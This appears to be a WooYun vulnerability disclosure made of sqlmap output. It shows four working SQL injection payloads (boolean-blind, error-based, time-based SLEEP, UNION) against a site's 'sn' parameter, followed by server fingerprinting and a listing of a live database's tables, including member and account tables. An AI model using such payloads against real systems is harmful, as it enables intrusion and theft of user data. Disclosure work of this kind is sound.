WooYun.org

sqlmap identified the following injection point(s) with a total of 44 HTTP(s) requests:
---
Parameter: sn (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: sn=196 AND 6875=6875
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: sn=196 AND (SELECT 4463 FROM(SELECT COUNT(*),CONCAT(0x716b767171,(SELECT (ELT(4463=4463,1))),0x7162626a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: sn=196 AND (SELECT * FROM (SELECT(SLEEP(5)))DUaY)
    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: sn=196 UNION ALL SELECT NULL,CONCAT(0x716b767171,0x5463746962656a675264,0x7162626a71),NULL,NULL,NULL,NULL,NULL,NULL-- 
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.16
back-end DBMS: MySQL 5.0

current database:    'eesma'
current user is DBA:    False
available databases [2]:
[*] eesma
[*] information_schema

Database: eesma
+-------------------+---------+
| Table             | Entries |
+-------------------+---------+
| company_directory | 329     |
| member            | 224     |
| news              | 183     |
| account           | 89      |
| company           | 85      |
| ele_news          | 43      |
| non_member        | 36      |
| act_file          | 15      |
| subject           | 12      |
| action_record     | 4       |
+-------------------+---------+